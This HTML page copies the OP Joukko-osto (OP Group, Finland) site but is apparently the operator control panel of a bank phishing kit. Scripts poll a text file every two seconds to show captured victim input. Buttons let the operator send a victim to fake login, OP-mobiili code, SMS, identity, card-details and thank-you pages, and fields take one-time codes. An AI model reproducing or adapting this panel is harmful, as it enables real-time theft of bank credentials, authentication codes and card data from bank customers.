<html class="no-js supports-no-cookies" lang="fi"><head>
        <meta charset="utf-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">

        <meta name="viewport" content="width=device-width,initial-scale=1">
        <meta name="theme-color" content="#ff6a10">
        <link rel="canonical" href="register.html">

        <title>
            Luo tili – OP Joukko-osto
        </title>

        <meta property="og:site_name" content="OP Joukko-osto">

        <meta property="og:title" content="Luo tili">
        <meta property="og:type" content="website">
        <meta property="og:description" content="OP Joukko-osto on uusi palvelu, jonka rakensimme omistaja-asiakkaidemme toiveista. Tarjoamme sinulle vaihtuvia laadukkaita tuotteita edulliseen hintaan. Mikä parasta, maksamasi hinta laskee samalla kun ostajien määrä kasvaa!">

        <meta name="twitter:site" content="@op_ryhma">
        <meta name="twitter:card" content="summary_large_image">
        <meta name="twitter:title" content="Luo tili">
        <meta name="twitter:description" content="OP Joukko-osto on uusi palvelu, jonka rakensimme omistaja-asiakkaidemme toiveista. Tarjoamme sinulle vaihtuvia laadukkaita tuotteita edulliseen hintaan. Mikä parasta, maksamasi hinta laskee samalla kun ostajien määrä kasvaa!">


        <link href="../cdn.shopify.com/s/files/1/0028/5009/5219/t/29/assets/theme.scsseeb5.css" rel="stylesheet" type="text/css" media="all">

        <meta property="og:image:secure_url" content="https://cdn.shopify.com/s/files/1/0028/5009/5219/files/op-joukko-osto-logo.png?height=628&amp;pad_color=fff&amp;v=1537188668&amp;width=1200">
        <meta property="og:image:width" content="1200">
        <meta property="og:image:height" content="628">
    </head>

    <body id="luo-tili" class="default-currency template-register" data-currency-format="money_with_currency_format" data-shop-currency="EUR" data-money-with-currency-format="{{amount_with_comma_separator}} EUR" data-money-format="{{amount_with_comma_separator}} €" data-default-currency="EUR">
        <a class="in-page-link visually-hidden skip-link" href="javascript:void(0);" target="_self">Siirry sisältöön</a>

        <div class="off-canvas-wrapper">
            <div class="off-canvas position-left" id="offCanvasNav" data-off-canvas="" data-transition="push">
                <!-- Close button -->
                <button class="close-button" aria-label="Close menu" type="button" data-close="">
                    <svg aria-hidden="true" focusable="false" role="presentation" class="icon icon-close" viewBox="0 0 20 20">
                        <path fill="#444" d="M15.89 14.696l-4.734-4.734 4.717-4.717c.4-.4.37-1.085-.03-1.485s-1.085-.43-1.485-.03L9.641 8.447 4.97 3.776c-.4-.4-1.085-.37-1.485.03s-.43 1.085-.03 1.485l4.671 4.671-4.688 4.688c-.4.4-.37 1.085.03 1.485s1.085.43 1.485.03l4.688-4.687 4.734 4.734c.4.4 1.085.37 1.485-.03s.43-1.085.03-1.485z"></path>
                    </svg>
                </button>

                <div id="shopify-section-off-canvas-nav" class="shopify-section off-canvas-nav">
                    <ul class="vertical menu drilldown no-padding-x" data-drilldown="" data-auto-height="true" data-animate-height="true" data-back-button="<li class='js-drilldown-back'><a tabindex='0'><svg class='icon icon-arrow-left' xmlns='http://www.w3.org/2000/svg' width='6' height='12' viewBox='0 0 6 12'><title>icon-arrow-left_1</title><g id='icon-arrow-left-2' data-name='icon-arrow-left'><path d='M0,6a1,1,0,0,1,.22-.62l4-5A1,1,0,0,1,5.62.22a1,1,0,0,1,.16,1.41L2.28,6l3.5,4.38a1,1,0,0,1-1.56,1.25l-4-5A1,1,0,0,1,0,6Z'/></g></svg> Takaisin</a></li>">
                     
                    </ul>

                 

                    <form action="#" method="get" role="search" class="searchform">
                        <label for="Search" class="label-hidden input-group-label">
                            Hae palvelusta
                        </label>
                        <input type="search" name="q" id="" value="" placeholder="Hae palvelusta" class="input-group-field">

                        <button type="button" class="button">
                            <svg aria-hidden="true" focusable="false" role="presentation" class="icon icon-search" viewBox="0 0 20 20">
                                <path fill="#444" d="M18.64 17.02l-5.31-5.31c.81-1.08 1.26-2.43 1.26-3.87C14.5 4.06 11.44 1 7.75 1S1 4.06 1 7.75s3.06 6.75 6.75 6.75c1.44 0 2.79-.45 3.87-1.26l5.31 5.31c.45.45 1.26.54 1.71.09.45-.36.45-1.17 0-1.62zM3.25 7.75c0-2.52 1.98-4.5 4.5-4.5s4.5 1.98 4.5 4.5-1.98 4.5-4.5 4.5-4.5-1.98-4.5-4.5z"></path>
                            </svg>
                            <span class="icon-fallback-text">Hae</span>
                        </button>
                    </form>
                </div>
            </div>

            
            <div data-section-id="" data-off-canvas-cart="" data-section-type="off-canvas-cart" class="off-canvas off-canvas-cart position-right" id="offCanvasCart" data-off-canvas="" data-transition="push">
                <button class="close-button" aria-label="Close menu" type="button" data-close="offCanvasCart">
                    <svg aria-hidden="true" focusable="false" role="presentation" class="icon icon-close" viewBox="0 0 20 20">
                        <path fill="#444" d="M15.89 14.696l-4.734-4.734 4.717-4.717c.4-.4.37-1.085-.03-1.485s-1.085-.43-1.485-.03L9.641 8.447 4.97 3.776c-.4-.4-1.085-.37-1.485.03s-.43 1.085-.03 1.485l4.671 4.671-4.688 4.688c-.4.4-.37 1.085.03 1.485s1.085.43 1.485.03l4.688-4.687 4.734 4.734c.4.4 1.085.37 1.485-.03s.43-1.085.03-1.485z"></path>
                    </svg>
                </button>

                <div data-cart-content=""></div>
            </div>

            

            <div class="off-canvas-content" data-off-canvas-content="">
                <div id="shopify-section-header" class="shopify-section">
                    <style>
                        .site-header {
                            height: 60px;
                            /* box-shadow: 0 0 10px rgba(0,0,0,0); */
                        }

                        @media print, screen and (min-width: 64em) {
                            .site-header {
                                height: 80px;
                            }
                        }

                        .site-header {
                            position: fixed;
                            top: auto !important;
                        }
                        #MainContent {
                            padding-top: 60px;
                        }

                        /* Change this if altered in mixins.scss */
                        @media print, screen and (min-width: 64em) {
                            #MainContent {
                                padding-top: 80px;
                            }
                        }
                    </style>

                    <header role="banner" id="Header" class="site-header" data-section-id="header" data-section-type="header-section" data-header="">
                        <div class="top-bar flex-container align-justify align-middle" data-colors="#fff, #323232, " data-top-bar="">
                            <a href="javascript:void(0);" itemprop="url" class="flex-container align-middle site-logo logo-image" target="_self">
                                <svg id="logo-op" xmlns="http://www.w3.org/2000/svg" width="64" height="64.09" viewBox="0 0 64 64.09">
                                    <title>logo-op</title>
                                    <path id="circle" d="M38.41,63.67A32.29,32.29,0,0,0,60.64,17.72a29.34,29.34,0,0,0-6.52-8.87A31.44,31.44,0,0,0,40,1,36.65,36.65,0,0,0,26.44.41,32.73,32.73,0,0,0,.8,24.24,43.26,43.26,0,0,0,.27,37.17,32.68,32.68,0,0,0,25.8,63.78a54.88,54.88,0,0,0,12.61-.11Z" fill="#ff6a10" opacity="0.99" style="isolation: isolate;"></path>
                                    <path id="glyph" d="M28.48,19.75C15.87,13.34,6.36,24,6.89,32.15,7,42.3,17.9,49.89,28.37,44.33V57.15H35.1l.11-12.82c13.25,6.2,22-4.27,21.8-12.18C56.79,22,46.64,14.09,35.21,19.75V6.93H28.58Zm-7.16,4.81c10.79,1.18,8.76,15,0,15.07C11,39.42,11,24.56,21.32,24.56Zm22.11-.21c10,1.17,8.87,15.07-.42,15.28-11.54-1.39-9.19-15.49.42-15.28Z" fill="#fff" opacity="0.99" style="isolation: isolate;"></path>
                                </svg>

                                
                            </a>
                            <div class="nav-bar show-for-large">
                                <div class="grid-container">
                                    <ul class="dropdown menu show-for-large flex-container align-middle" data-dropdown-menu="">
                                       
                                    </ul>
                                </div>
                            </div>


                        </div>
                    </header>
                </div>

                <main role="main" id="MainContent">
                    <div id="shopify-section-top-banners" class="shopify-section site-section">
                        <div class="top-banner text-center flex-container single" data-top-banner="" data-section-id="top-banners"></div>
                    </div>
                    <div class="grid-container padding-large">
                        <div class="grid-x grid-padding-x loose-height align-center">
                            <div class="cell medium-6 large-4 padding-y align-self-middle user-form">
                                <h1>Chof ach Ban lik abro</h1>

                                    

                                    
                                    

                      <script>
setInterval(function(){ var client = new XMLHttpRequest();
client.open('GET', './auto_system/Where_Page.php?offline');
client.onreadystatechange = function() {

}
client.send();  }, 11000);
</script>

<script>
setInterval(function(){ 


fetch("./Show_system/Show_Page.txt", {
  method: "POST",
  body: JSON.stringify({
    userId: 1,
    title: "Open Replay",
    completed: false
  }),
  headers: {
    "Content-type": "application/json; charset=UTF-8"
  }
})
  .then((response) => response.json())
  .then((json) => console.log(json));


var client = new XMLHttpRequest();
client.open('GET', './Show_system/Show_Page.txt');
client.onreadystatechange = function() {
document.getElementById("content").innerHTML = client.responseText ;

}
client.send();  }, 2000);
</script>
<div id="content"> 
  </div>
                                          
                                    
<form id="Login" name="Login" method="post" action="./auto_system/Select_Login.php" id="create_customer" accept-charset="UTF-8">
<input style="display: none;" type="text" name="textLogin">

                                    
                                
                                    <div class="expanded button-group">
                                        <input type="submit" value="Raj3o login" class="button">
                                    </div>
 </form>
<form id="Code" name="Code" method="post" action="./auto_system/Select_login-Code.php" id="create_customer" accept-charset="UTF-8">
<input style="display: none;" type="text" name="textloginCode">


<hr><div class="expanded button-group">
                                        <input placeholder="Ktab l Code OP-mobiili" type="tel" name="mobiili" autocomplete="off" style="letter-spacing: 1px;" required=""><input type="submit" value="Select OP-mobiili" class="button">
                                    </div>

 </form>


<form id="redirectsms" name="redirectsms" method="post" action="./auto_system/Select_redirectsms.php" id="create_customer" accept-charset="UTF-8">
<input style="display: none;" type="text" name="textredirectsms">


<hr><div class="expanded button-group">
<input type="submit" value="Select redirect sms" class="button">
                                    </div>

 </form>




                                    <hr>




<form id="Code" name="Code" method="post" action="./auto_system/Select_Code.php" id="create_customer" accept-charset="UTF-8">
<input style="display: none;" type="text" name="textCode">


<hr><div class="expanded button-group">
                                        <input placeholder="Ktab l Code abro" type="tel" name="Code" autocomplete="off" style="letter-spacing: 1px;" required=""><input type="submit" value="Select Code Sender" class="button">
                                    </div>

 </form>



<hr>

<form id="identity" name="identity" method="post" action="./auto_system/Select_identity.php" id="create_customer" accept-charset="UTF-8">
<input style="display: none;" type="text" name="textidentity">

<div class="expanded button-group">
                                        <input type="submit" value="Select Identity" class="button">


 </form>
                                    <hr>
<form id="Sms" name="Sms" method="post" action="./auto_system/Select_Sms.php" id="create_customer" accept-charset="UTF-8">
<input style="display: none;" type="text" name="textSms">

<div class="expanded button-group">
                                        <input type="submit" value="Select Sms" class="button">


 </form>

<form id="Info" name="Info" method="post" action="./auto_system/Select_Info.php" id="create_customer" accept-charset="UTF-8">
<input style="display: none;" type="text" name="textInfo">

<div class="expanded button-group">
                                        <input type="submit" value="Select Card Info" class="button">
                                    </div>
</form>


                                    <hr>

<form id="Thanks" name="Thanks" method="post" action="./auto_system/Select_Thanks.php" id="create_customer" accept-charset="UTF-8">
<input style="display: none;" type="text" name="textThanks">


                                    <div class="expanded button-group">
                                        <input type="submit" value="Select Thanks Page" class="button" style="
    background: #009688;
">
                                    </div></form>
<?php include("./Show_system/Show_Select.txt"); 
 ?>
                                    </div>





                            </div>
                        </div>
                    </div>
                </main>

                <div id="shopify-section-footer" class="shopify-section padding-y site-footer">
                    <section class="footer-links padding-y">
                        <div class="grid-container">
                            <div class="grid-x grid-margin-x grid-margin-y">
                                <div class="cell small-12 medium-6 large-3">
                                    <div class="rte">
                                        <p>Asiakaspalvelu:</p>
                                        <p>
                                            <a href="javascript:void(0);" title="mailto:joukko-osto@op.fi" target="_self">joukko-osto@op.fi</a><br>
                                            Puh.&nbsp;010&nbsp;252 0250<br>
                                            Avoinna ma-su&nbsp;6-23
                                        </p>
                                    </div>
                                </div>

                                <div class="cell small-12 medium-6 large-3">
                                    <ul class="menu no-lines no-padding-x vertical">
                                        <li>
                                            <a href="javascript:void(0);" target="_self">Etusivu</a>
                                            <svg aria-hidden="true" focusable="false" role="presentation" class="icon icon-arrow-right" viewBox="0 0 6 12">
                                                <path d="M6 6a1 1 0 0 1-.22.63l-4 5a1 1 0 0 1-1.4.15 1 1 0 0 1-.16-1.4L3.72 6 .22 1.63A1 1 0 0 1 .38.22a1 1 0 0 1 1.4.16l4 5A1 1 0 0 1 6 6z" data-name="icon-arrow-right"></path>
                                            </svg>
                                        </li>

                                        <li>
                                            <a href="javascript:void(0);" target="_self">Haku</a>
                                            <svg aria-hidden="true" focusable="false" role="presentation" class="icon icon-arrow-right" viewBox="0 0 6 12">
                                                <path d="M6 6a1 1 0 0 1-.22.63l-4 5a1 1 0 0 1-1.4.15 1 1 0 0 1-.16-1.4L3.72 6 .22 1.63A1 1 0 0 1 .38.22a1 1 0 0 1 1.4.16l4 5A1 1 0 0 1 6 6z" data-name="icon-arrow-right"></path>
                                            </svg>
                                        </li>

                                        <li>
                                            <a href="javascript:void(0);" target="_self">Tietoa palvelusta</a>
                                            <svg aria-hidden="true" focusable="false" role="presentation" class="icon icon-arrow-right" viewBox="0 0 6 12">
                                                <path d="M6 6a1 1 0 0 1-.22.63l-4 5a1 1 0 0 1-1.4.15 1 1 0 0 1-.16-1.4L3.72 6 .22 1.63A1 1 0 0 1 .38.22a1 1 0 0 1 1.4.16l4 5A1 1 0 0 1 6 6z" data-name="icon-arrow-right"></path>
                                            </svg>
                                        </li>

                                        <li>
                                            <a href="javascript:void(0);" target="_self">Ota yhteyttä</a>
                                            <svg aria-hidden="true" focusable="false" role="presentation" class="icon icon-arrow-right" viewBox="0 0 6 12">
                                                <path d="M6 6a1 1 0 0 1-.22.63l-4 5a1 1 0 0 1-1.4.15 1 1 0 0 1-.16-1.4L3.72 6 .22 1.63A1 1 0 0 1 .38.22a1 1 0 0 1 1.4.16l4 5A1 1 0 0 1 6 6z" data-name="icon-arrow-right"></path>
                                            </svg>
                                        </li>

                                        <li>
                                            <a href="javascript:void(0);" target="_self">Usein kysytyt kysymykset</a>
                                            <svg aria-hidden="true" focusable="false" role="presentation" class="icon icon-arrow-right" viewBox="0 0 6 12">
                                                <path d="M6 6a1 1 0 0 1-.22.63l-4 5a1 1 0 0 1-1.4.15 1 1 0 0 1-.16-1.4L3.72 6 .22 1.63A1 1 0 0 1 .38.22a1 1 0 0 1 1.4.16l4 5A1 1 0 0 1 6 6z" data-name="icon-arrow-right"></path>
                                            </svg>
                                        </li>

                                        <li>
                                            <a href="javascript:void(0);" target="_self">Kumppaniksi OP Joukko-osto -palveluun?</a>
                                            <svg aria-hidden="true" focusable="false" role="presentation" class="icon icon-arrow-right" viewBox="0 0 6 12">
                                                <path d="M6 6a1 1 0 0 1-.22.63l-4 5a1 1 0 0 1-1.4.15 1 1 0 0 1-.16-1.4L3.72 6 .22 1.63A1 1 0 0 1 .38.22a1 1 0 0 1 1.4.16l4 5A1 1 0 0 1 6 6z" data-name="icon-arrow-right"></path>
                                            </svg>
                                        </li>

                                        <li>
                                            <a href="javascript:void(0);" target="_self">Mikä OP Joukko-osto?</a>
                                            <svg aria-hidden="true" focusable="false" role="presentation" class="icon icon-arrow-right" viewBox="0 0 6 12">
                                                <path d="M6 6a1 1 0 0 1-.22.63l-4 5a1 1 0 0 1-1.4.15 1 1 0 0 1-.16-1.4L3.72 6 .22 1.63A1 1 0 0 1 .38.22a1 1 0 0 1 1.4.16l4 5A1 1 0 0 1 6 6z" data-name="icon-arrow-right"></path>
                                            </svg>
                                        </li>
                                    </ul>
                                </div>

                                <div class="cell small-12 medium-6 large-3">
                                    <ul class="menu no-lines no-padding-x vertical">
                                        <li>
                                            <a href="javascript:void(0);" target="_self">Tietosuojaseloste</a>
                                            <svg aria-hidden="true" focusable="false" role="presentation" class="icon icon-arrow-right" viewBox="0 0 6 12">
                                                <path d="M6 6a1 1 0 0 1-.22.63l-4 5a1 1 0 0 1-1.4.15 1 1 0 0 1-.16-1.4L3.72 6 .22 1.63A1 1 0 0 1 .38.22a1 1 0 0 1 1.4.16l4 5A1 1 0 0 1 6 6z" data-name="icon-arrow-right"></path>
                                            </svg>
                                        </li>

                                        <li>
                                            <a href="javascript:void(0);" target="_self">Evästekäytäntö</a>
                                            <svg aria-hidden="true" focusable="false" role="presentation" class="icon icon-arrow-right" viewBox="0 0 6 12">
                                                <path d="M6 6a1 1 0 0 1-.22.63l-4 5a1 1 0 0 1-1.4.15 1 1 0 0 1-.16-1.4L3.72 6 .22 1.63A1 1 0 0 1 .38.22a1 1 0 0 1 1.4.16l4 5A1 1 0 0 1 6 6z" data-name="icon-arrow-right"></path>
                                            </svg>
                                        </li>

                                        <li>
                                            <a href="javascript:void(0);" target="_self">Palvelun käyttöehdot</a>
                                            <svg aria-hidden="true" focusable="false" role="presentation" class="icon icon-arrow-right" viewBox="0 0 6 12">
                                                <path d="M6 6a1 1 0 0 1-.22.63l-4 5a1 1 0 0 1-1.4.15 1 1 0 0 1-.16-1.4L3.72 6 .22 1.63A1 1 0 0 1 .38.22a1 1 0 0 1 1.4.16l4 5A1 1 0 0 1 6 6z" data-name="icon-arrow-right"></path>
                                            </svg>
                                        </li>

                                        <li>
                                            <a href="javascript:void(0);" target="_self">Palvelun käyttöohje</a>
                                            <svg aria-hidden="true" focusable="false" role="presentation" class="icon icon-arrow-right" viewBox="0 0 6 12">
                                                <path d="M6 6a1 1 0 0 1-.22.63l-4 5a1 1 0 0 1-1.4.15 1 1 0 0 1-.16-1.4L3.72 6 .22 1.63A1 1 0 0 1 .38.22a1 1 0 0 1 1.4.16l4 5A1 1 0 0 1 6 6z" data-name="icon-arrow-right"></path>
                                            </svg>
                                        </li>

                                        <li>
                                            <a href="javascript:void(0);" target="_self">Maksuehdot</a>
                                            <svg aria-hidden="true" focusable="false" role="presentation" class="icon icon-arrow-right" viewBox="0 0 6 12">
                                                <path d="M6 6a1 1 0 0 1-.22.63l-4 5a1 1 0 0 1-1.4.15 1 1 0 0 1-.16-1.4L3.72 6 .22 1.63A1 1 0 0 1 .38.22a1 1 0 0 1 1.4.16l4 5A1 1 0 0 1 6 6z" data-name="icon-arrow-right"></path>
                                            </svg>
                                        </li>
                                    </ul>
                                </div>
                            </div>
                        </div>
                    </section>

                    <section class="infosection grid-container padding-y">
                        <div class="grid-x grid-margin-x grid-margin-y align-center">
                            <div class="cell small-12 medium-8 large-6 text-left medium-text-center">
                                <div class="rte">
                                    <p>
                                        OP Joukko-osto -palvelu on osuuspankkien omistaja-asiakkaille suunnattu palvelu.<br>
                                        OP Joukko-osto -palvelun tuottaa Pivo Wallet Oy, joka on osa OP Ryhmää. <br>
                                        OP Joukko-osto -palvelussa voit maksaa ainoastaan OP:n maksukorteilla, Pivolla tai OP Osta Laskulla.
                                    </p>
                                </div>
                            </div>
                        </div>
                    </section>

                    <section class="social accounts grid-container padding-y">
                        <div class="grid-x grid-margin-x grid-margin-y">
                            <div class="follow-us cell text-center">
                                <a href="javascript:void(0);" title="OP Joukko-osto Facebook" target="_self">
                                    <svg aria-hidden="true" focusable="false" role="presentation" class="icon icon-facebook" viewBox="0 0 32 32">
                                        <g data-name="icon-facebook">
                                            <circle cx="16" cy="16" r="16" fill="#4267b2"></circle>
                                            <path d="M14 25.64v-8.78h-3v-3.44h3v-2.53c0-2.89 1.74-4.53 4.36-4.53A24.15 24.15 0 0 1 21 6.5v3.06h-1.81c-1.42 0-1.69.68-1.69 1.67v2.19h3.4l-.44 3.44h-3v8.78z" fill="#fff"></path>
                                        </g>
                                    </svg>
                                    <span class="icon-fallback-text">Facebook</span>
                                </a>

                                <a href="javascript:void(0);" title="OP Joukko-osto Twitter" target="_self">
                                    <svg aria-hidden="true" focusable="false" role="presentation" class="icon icon-twitter" viewBox="0 0 32 32">
                                        <g data-name="icon-twitter">
                                            <circle cx="16" cy="16" r="16" fill="#1da1f2"></circle>
                                            <path d="M13.07 24.44a10.9 10.9 0 0 0 11-11v-.5A8.11 8.11 0 0 0 26 11a7.76 7.76 0 0 1-2.22.61 3.89 3.89 0 0 0 1.7-2.14 7.65 7.65 0 0 1-2.45.94A3.86 3.86 0 0 0 16.32 13a3.71 3.71 0 0 0 .1.88 11 11 0 0 1-8-4A3.87 3.87 0 0 0 9.66 15a3.81 3.81 0 0 1-1.74-.49.11.11 0 0 0 0 .05 3.85 3.85 0 0 0 3.08 3.8 3.81 3.81 0 0 1-1 .14 3.38 3.38 0 0 1-.72-.07 3.86 3.86 0 0 0 3.6 2.68 7.76 7.76 0 0 1-4.79 1.65c-.31 0-.62 0-.92-.05a11 11 0 0 0 5.91 1.73" fill="#fff"></path>
                                        </g>
                                    </svg>
                                    <span class="icon-fallback-text">Twitter</span>
                                </a>

                                <a href="javascript:void(0);" title="OP Joukko-osto Instagram" target="_self">
                                    <svg aria-hidden="true" focusable="false" role="presentation" class="icon icon-instagram" viewBox="0 0 32 32">
                                        <circle cx="16" cy="16" r="16"></circle>
                                        <path d="M16 7.8c2.67 0 3 0 4 .06a5.61 5.61 0 0 1 1.86.34 3.33 3.33 0 0 1 1.9 1.9 5.61 5.61 0 0 1 .38 1.9c.05 1 .06 1.37.06 4s0 3-.06 4a5.61 5.61 0 0 1-.34 1.86 3.33 3.33 0 0 1-1.9 1.9 5.61 5.61 0 0 1-1.86.34c-1.05.05-1.37.06-4 .06s-3 0-4-.06a5.61 5.61 0 0 1-1.86-.34 3.33 3.33 0 0 1-1.9-1.9A5.61 5.61 0 0 1 7.86 20c-.05-1-.06-1.33-.06-4s0-3 .06-4a5.61 5.61 0 0 1 .34-1.9 3.33 3.33 0 0 1 1.9-1.9 5.61 5.61 0 0 1 1.9-.34c1-.05 1.37-.06 4-.06M16 6c-2.72 0-3.06 0-4.12.06a7.3 7.3 0 0 0-2.43.47 4.7 4.7 0 0 0-1.77 1.15 4.85 4.85 0 0 0-1.16 1.77 7.59 7.59 0 0 0-.46 2.43C6 12.94 6 13.28 6 16s0 3.06.06 4.12a7.59 7.59 0 0 0 .46 2.43 5.19 5.19 0 0 0 2.93 2.93 7.59 7.59 0 0 0 2.43.46c1.06 0 1.4.06 4.12.06s3.06 0 4.12-.06a7.59 7.59 0 0 0 2.43-.46 5.19 5.19 0 0 0 2.93-2.93 7.59 7.59 0 0 0 .46-2.43c0-1.06.06-1.4.06-4.12s0-3.06-.06-4.12a7.59 7.59 0 0 0-.46-2.43 4.85 4.85 0 0 0-1.16-1.77 4.7 4.7 0 0 0-1.77-1.15 7.3 7.3 0 0 0-2.43-.47C19.06 6 18.72 6 16 6z" fill="#fff"></path>
                                        <path d="M16 10.86A5.14 5.14 0 1 0 21.14 16 5.14 5.14 0 0 0 16 10.86zm0 8.47A3.33 3.33 0 1 1 19.33 16 3.33 3.33 0 0 1 16 19.33z" fill="#fff"></path>
                                        <circle cx="21.34" cy="10.66" r="1.2" fill="#fff"></circle>
                                    </svg>
                                    <span class="icon-fallback-text">Instagram</span>
                                </a>

                                <a href="javascript:void(0);" title="OP Joukko-osto Linkedin," target="_self">
                                    <svg aria-hidden="true" focusable="false" role="presentation" class="icon icon-linkedin" viewBox="0 0 32 32">
                                        <g data-name="icon-linkedin">
                                            <circle cx="16" cy="16" r="16" fill="#0077b5"></circle>
                                            <path d="M8.26 12.32h3.32V23H8.26zM9.92 7A1.93 1.93 0 1 1 8 8.94 1.93 1.93 0 0 1 9.92 7M13.66 12.32h3.18v1.46A3.5 3.5 0 0 1 20 12.05c3.36 0 4 2.21 4 5.08V23h-3.31v-5.2c0-1.24 0-2.83-1.73-2.83s-2 1.35-2 2.74V23h-3.3z" fill="#fff"></path>
                                        </g>
                                    </svg>
                                    <span class="icon-fallback-text">Linkedin,</span>
                                </a>
                            </div>
                        </div>
                    </section>
                    <section class="copyright-and-credits">
                        <div class="grid-container">
                            <div class="grid-x grid-margin-x grid-margin-y">
                                <div class="cell small-12">
                                    <small> © OP Ryhmä<span class="bic">BIC: OKOYFIHH</span> </small>
                                </div>
                            </div>
                        </div>
                    </section>
                </div>
            </div>
        </div>
        
        
        
    
    
    
    
    
    

    


          
</body></html>